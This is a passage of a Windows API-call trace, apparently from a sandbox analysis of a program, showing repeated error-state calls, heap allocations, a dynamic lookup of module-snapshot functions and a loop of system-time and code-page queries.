SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.419] SetLastError (dwErrCode=0x0) [0050.419] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.420] SetLastError (dwErrCode=0x0) [0050.420] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.421] GetLastError () returned 0x0 [0050.421] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] GetLastError () returned 0x0 [0050.422] SetLastError (dwErrCode=0x0) [0050.422] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x68) returned 0x2d1990 [0050.422] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.423] SetLastError (dwErrCode=0x0) [0050.423] GetLastError () returned 0x0 [0050.424] SetLastError (dwErrCode=0x0) [0050.424] GetLastError () returned 0x0 [0050.424] SetLastError (dwErrCode=0x0) [0050.424] GetLastError () returned 0x0 [0050.424] SetLastError (dwErrCode=0x0) [0050.424] GetLastError () returned 0x0 [0050.424] SetLastError (dwErrCode=0x0) [0050.424] GetLastError () returned 0x0 [0050.474] SetLastError (dwErrCode=0x0) [0050.474] GetLastError () returned 0x0 [0050.474] SetLastError (dwErrCode=0x0) [0050.474] GetLastError () returned 0x0 [0050.474] SetLastError (dwErrCode=0x0) [0050.474] GetLastError () returned 0x0 [0050.474] SetLastError (dwErrCode=0x0) [0050.474] GetLastError () returned 0x0 [0050.474] SetLastError (dwErrCode=0x0) [0050.474] GetLastError () returned 0x0 [0050.474] SetLastError (dwErrCode=0x0) [0050.474] GetLastError () returned 0x0 [0050.474] SetLastError (dwErrCode=0x0) [0050.474] GetLastError () returned 0x0 [0050.474] SetLastError (dwErrCode=0x0) [0050.474] GetLastError () returned 0x0 [0050.474] SetLastError (dwErrCode=0x0) [0050.474] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.475] SetLastError (dwErrCode=0x0) [0050.475] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.476] SetLastError (dwErrCode=0x0) [0050.476] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.477] SetLastError (dwErrCode=0x0) [0050.477] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.478] GetLastError () returned 0x0 [0050.478] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.479] GetLastError () returned 0x0 [0050.479] SetLastError (dwErrCode=0x0) [0050.480] GetLastError () returned 0x0 [0050.480] SetLastError (dwErrCode=0x0) [0050.480] GetLastError () returned 0x0 [0050.480] SetLastError (dwErrCode=0x0) [0050.480] GetLastError () returned 0x0 [0050.480] SetLastError (dwErrCode=0x0) [0050.480] GetLastError () returned 0x0 [0050.480] SetLastError (dwErrCode=0x0) [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x98) returned 0x2d1a00 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1f) returned 0x2d1aa0 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x36) returned 0x2d1ac8 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x37) returned 0x2d1b08 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3c) returned 0x2d1b48 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x31) returned 0x2d1b90 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x17) returned 0x2d1bd0 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x24) returned 0x2d1bf0 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x14) returned 0x2d1c20 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xd) returned 0x2d1c40 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x25) returned 0x2d1c58 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x39) returned 0x2d1c88 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x18) returned 0x2d1cd0 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x17) returned 0x2d1cf0 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xe) returned 0x2d1d10 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x69) returned 0x2d1d28 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x3e) returned 0x2d1da0 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1b) returned 0x2d1de8 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1d) returned 0x2d1e10 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x48) returned 0x2d1e38 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x12) returned 0x2d1e88 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x18) returned 0x2d1ea8 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1b) returned 0x2d1ec8 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x24) returned 0x2d1ef0 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x29) returned 0x2d1f20 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1e) returned 0x2d1f58 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x41) returned 0x2d1f80 [0050.480] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x17) returned 0x2d1fd0 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xf) returned 0x2d1ff0 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x16) returned 0x2d2008 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2a) returned 0x2d2028 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x29) returned 0x2d2060 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x15) returned 0x2d2098 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x1e) returned 0x2d20b8 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x2a) returned 0x2d20e0 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x12) returned 0x2d2118 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x18) returned 0x2d2138 [0050.481] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x46) returned 0x2d2158 [0050.481] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2d11f8 | out: hHeap=0x2d0000) returned 1 [0050.482] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x800) returned 0x2d21a8 [0050.482] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x80) returned 0x2d11f8 [0050.482] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e49) returned 0x0 [0050.482] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2d11f8) returned 0x80 [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] SetLastError (dwErrCode=0x0) [0050.483] GetLastError () returned 0x0 [0050.483] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0050.484] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0050.484] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0050.484] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0050.486] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0050.486] PeekMessageA (in: lpMsg=0x18fa44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa44) returned 0 [0050.486] GetTickCount () returned 0x1b634 [0050.486] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.486] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.486] GetACP () returned 0x4e4 [0050.486] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.486] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.486] GetACP () returned 0x4e4 [0050.486] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.486] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.486] GetACP () returned 0x4e4 [0050.486] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.486] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.486] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.487] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.487] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.487] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.487] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.487] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.487] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.487] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.487] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.487] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.487] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.487] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.487] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.487] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.487] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.487] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.487] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.487] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.487] GetACP () returned 0x4e4 [0050.487] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.488] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.488] GetACP () returned 0x4e4 [0050.488] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.488] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.488] GetACP () returned 0x4e4 [0050.488] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.488] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.488] GetACP () returned 0x4e4 [0050.488] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.488] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.488] GetACP () returned 0x4e4 [0050.488] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.488] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.488] GetACP () returned 0x4e4 [0050.488] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.488] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.488] GetACP () returned 0x4e4 [0050.488] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.488] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.488] GetACP () returned 0x4e4 [0050.488] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.488] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.488] GetACP () returned 0x4e4 [0050.488] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.488] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.488] GetACP () returned 0x4e4 [0050.488] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.489] GetACP () returned 0x4e4 [0050.489] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.489] GetACP () returned 0x4e4 [0050.489] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.489] GetACP () returned 0x4e4 [0050.489] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.489] GetACP () returned 0x4e4 [0050.489] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.489] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.489] GetACP () returned 0x4e4 [0050.489] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, 